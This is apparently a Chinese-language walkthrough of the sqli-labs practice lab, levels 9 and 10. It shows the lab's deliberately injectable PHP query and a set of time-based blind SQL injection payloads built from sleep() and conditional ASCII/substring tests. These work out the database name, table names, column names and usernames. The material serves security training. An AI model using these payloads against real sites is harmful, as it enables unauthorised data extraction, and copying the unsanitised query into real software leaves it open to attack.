Less-9
GET - Blind - Time based. - Single Quotes
- 输入测试符号,无错误响应返回,初步判定为盲注。
- 查看源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
- 闭合方式为单引号,但
正确输入
与错误输入
的返回信息都是You are in.....
PS:正确输入
与错误输入
的返回信息虽然都是You are in.....
。但响应包头Content-length的长度不一样,正确输入时:
错误输入时:
- 通常,在页面没有任何回显和错误信息提示的时候,可采用时间盲注这种手法。测试下面3条语句:
http://192.168.83.129:30080/Less-9/?id=1' and sleep(5)-- #
- 常用的判断语句:
' and if(1,sleep(5),1) %23
' and if(1=0,1,sleep(5)) --+
" and if(1=0,1, sleep(5)) --+
) and if(1=0,1, sleep(5)) --+
') and if(1=0,1, sleep(5)) --+
") and if(1=0,1, sleep(5)) --+
...........
- 时间盲注“公式”:
if(【payload】,1,sleep(5))
。即:如果查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以可根据返回页面的时间长短来判断查询语句是否执行正确。 if(expr1,expr2,expr3)
:判断语句 如果expr1
语句正确就执行,就紧接着执行expr2
语句,执行expr3
语句。
//猜库名的字符长度:
?id=1' and if (length(database())=x ,sleep(5),1)--+
//猜库名:
?id=1' and if(left(database(),1)='s' ,sleep(5),1)-- #
//猜表名:
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
//猜列名:
?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))--+
//猜数据:
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
Less-10
GET - Blind - Time based - double quotes
- 类似于Less-9,只不过闭合方式是双引号(
"
)。